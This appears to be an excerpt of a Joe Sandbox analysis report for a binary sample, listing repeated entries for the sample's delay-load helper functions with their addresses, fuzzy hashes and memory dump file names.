Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1f4f8df62c21adb4f5cd8f5da1389e4b357a214304819b13fcae22707b0f4c5d
Instruction ID: 0a4d33a724a23d863cb51be74fdbc127d7ab2a0b159474185747f1e6f5dd4ccc
Opcode Fuzzy Hash: 1f4f8df62c21adb4f5cd8f5da1389e4b357a214304819b13fcae22707b0f4c5d
Instruction Fuzzy Hash: A1B012D2368181BD3544D2462C47D3701CCC0C0F1033081FEF825D5180ED80ECC40432

Function 00B9E26E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: bf219f8138e1cdf5d1ad1fbf63488372931a69071167b5db3b491aee5749dbb6
Instruction ID: 483c2c9bbe8cca67849d5dd6b16e1d5b0d98c6c63e03d9aca26ee27f8fae9de8
Opcode Fuzzy Hash: bf219f8138e1cdf5d1ad1fbf63488372931a69071167b5db3b491aee5749dbb6
Instruction Fuzzy Hash: 04B012D2268041AD3504D1561C87D3701CCC0C1F1033080FEFC25D5080EE80EC801432

Function 00B9E264 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ba0947cb1841828a35586372298b4420d9cb4011f3859d9e31579a80ced24c90
Instruction ID: 6aff1dd5fe83870db69cd6fc21c7ed6a444c67c1b155596ff416af99d9295ea9
Opcode Fuzzy Hash: ba0947cb1841828a35586372298b4420d9cb4011f3859d9e31579a80ced24c90
Instruction Fuzzy Hash: F3B012D2279081AD3504D1461C47D3701CDD4C0F1133040FEF826D5080ED80EC800432

Function 00B9E250 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 971ce5cc0f7e0340c0aa686615b680f2ba0d621ee9f0ba55c6dc930caf7dd98d
Instruction ID: 086dee885cf3304af1f1f54dd3fb2d2c23bd266c67baf6b47a39a000368693cc
Opcode Fuzzy Hash: 971ce5cc0f7e0340c0aa686615b680f2ba0d621ee9f0ba55c6dc930caf7dd98d
Instruction Fuzzy Hash: D6B012E2269181BD3544D2461C47D3B01CDC0C0F1133041FEF825D5080ED80ECC40432

Function 00B9E246 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b508fcc098247d16642f1a8867fb7d8fa3bc75c94385124b3518eb8b97df845f
Instruction ID: cb16198f1bc431c4d203a0d89611d47a887653269ffcc31528ed00f8b5b96485
Opcode Fuzzy Hash: b508fcc098247d16642f1a8867fb7d8fa3bc75c94385124b3518eb8b97df845f
Instruction Fuzzy Hash: 6AB012D2269081AD3504D1461C47D3701CDC0C1F1133080FEFC25D5080ED80EC800432

Function 00B9E423 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E3FC

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fe368db3f8a6b4139d0e7c271e93a2b283a967e986585ee6083ec1f8e240f63d
Instruction ID: 1bd2f49c6788413be33fcadd489ea7d4a843b98929f56dbfdde5c45f3436ee8a
Opcode Fuzzy Hash: fe368db3f8a6b4139d0e7c271e93a2b283a967e986585ee6083ec1f8e240f63d
Instruction Fuzzy Hash: 5AB092B2268040BD3584D1465886E3602C8C080F1033084FAB825C6081E8808A000432

Function 00B9E419 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E3FC

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 79e21bff93720e5223c86a5fb7c3784971923adc846b8270476c7ad46afcfa73
Instruction ID: 7f4d67bb26fe86d0805c6ae0ff55293ebf3d283c063ed7a17835d3cab3a4afe9
Opcode Fuzzy Hash: 79e21bff93720e5223c86a5fb7c3784971923adc846b8270476c7ad46afcfa73
Instruction Fuzzy Hash: 2DB092A22680407D3544D1465986E7602C8C080B2033084FAB525C6081A88088090432

Function 00B9E44B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E3FC

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 42ff5250ec24897407756a6b84bdc40bbff176fef9fdebdc8635673965b79def
Instruction ID: e9ece5d27ea8a2a1ff18f658ee338b00a0f11cf87c2cb657594a4e13281ff67d
Opcode Fuzzy Hash: 42ff5250ec24897407756a6b84bdc40bbff176fef9fdebdc8635673965b79def
Instruction Fuzzy Hash: 5CB092A2268040BD3584D1465886E3602C8C080B1033084FAB825C6081E88088040432

Function 00B9E5B1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E580

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c323b5082ded1fdd034f723186bb6d8d5fecd91e3039e964a5bee73f907b8f9f
Instruction ID: 36dc6930757e01ca1b66113bb3ad58914f536995854770f6d3d857de94a64a00
Opcode Fuzzy Hash: c323b5082ded1fdd034f723186bb6d8d5fecd91e3039e964a5bee73f907b8f9f
Instruction Fuzzy Hash: 02B092822681407D3544D1955846D3602D8C081B1032142FEF425D2090B88088400436

Function 00B9E5A7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E580

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 822dde4cb41474f5eb80a46a98a177a0c1136164e21354c0bc87c1ad54c0ee68
Instruction ID: f309bef34834f63b40f3a36fe228b2db7192516750b170612e64b2d838ab2c57
Opcode Fuzzy Hash: 822dde4cb41474f5eb80a46a98a177a0c1136164e21354c0bc87c1ad54c0ee68
Instruction Fuzzy Hash: AEB012C22680407D3504D1955D46D3702DCC0C1F1033143FFF425D30D0FC818D010436

Function 00B9E593 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E580

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f42dd3b85114e509e227a5fda4204a31de893c920e730d46000278a158f3d0e3
Instruction ID: 81aa29e4b4845bcb2b839f0725a3f54828884caef5f63bc65721af85e3b4e061
Opcode Fuzzy Hash: f42dd3b85114e509e227a5fda4204a31de893c920e730d46000278a158f3d0e3
Instruction Fuzzy Hash: 0EB012C32680407E3504D1951C46D3702CCC0C0F1033140FFF425D30D0FC808C000436

Function 00B9E532 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E51F

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 29152f887a1434fada9eef6cf6532bb7925e0a2f4472499b4375df6fffb47938
Instruction ID: fe0287b1f1f0598d3deda22462d416edf815db1a9ec4b649aa98f573713b0773
Opcode Fuzzy Hash: 29152f887a1434fada9eef6cf6532bb7925e0a2f4472499b4375df6fffb47938
Instruction Fuzzy Hash: 5BB012C32680407E3504D1491C46F7B06CCC0C2F1033080FEF425C2091FC80CD000431

Function 00B9E528 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E51F

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5665e3f8398d303a7daa6ac5dbefe04c5ddf1e723a766fdeb354a1bc570e7bd0
Instruction ID: 700788ec0125a0b78992b2e183a7cee5d198e9fbeb7ef92e34b4e57ab49c0368
Opcode Fuzzy Hash: 5665e3f8398d303a7daa6ac5dbefe04c5ddf1e723a766fdeb354a1bc570e7bd0
Instruction Fuzzy Hash: FFB012C22680807D3504D1491D46E7B0ACCC0C2F20330C0FEF425C2091FC80CC010431

Function 00B9E50D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E51F

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 026cdd7b7e79a3e6cfd96a4ac3fa93941f9e073cdd76dcde86cd867d97ff2c7b
Instruction ID: 9081614e32a09ba80bd66d8dd10d4a3dd5bdc4801fc6c1da8e31eae3bfd66702
Opcode Fuzzy Hash: 026cdd7b7e79a3e6cfd96a4ac3fa93941f9e073cdd76dcde86cd867d97ff2c7b
Instruction Fuzzy Hash: D0B012C22680407D3504D1651C5AE7B06CCC0C2F1033080FEF471C1492BC80CE040431

Function 00B9E546 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E51F

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c0e4bdac161eba8e5c1e61c6d704edf3344f98a5684a228bff987d2d00ce7d0c
Instruction ID: a92f3b87ad9c77cb1c7c309e3c3ca1c57a6aa7eb9449c3a8f01df8d9e838ef50
Opcode Fuzzy Hash: c0e4bdac161eba8e5c1e61c6d704edf3344f98a5684a228bff987d2d00ce7d0c
Instruction Fuzzy Hash: F0B012C22681407D3604E1495C47E7B06CCC0C2F1033083FEF425C2091FC80CC440431

Function 00B9E2B9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a64de4ab091dd57812260dbff0c1cf6f567459e6578942dad05576fb968d6587
Instruction ID: c0b3793d047cbe1162a3e2fad151fa0fac38426e06eb6065285b5e181203ad34
Opcode Fuzzy Hash: a64de4ab091dd57812260dbff0c1cf6f567459e6578942dad05576fb968d6587
Instruction Fuzzy Hash: 45A011E22A8002BC3808E2822C83C3B028CC0C0B2033088FEF822C8080AC80A8800830

Function 00B9E2AF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
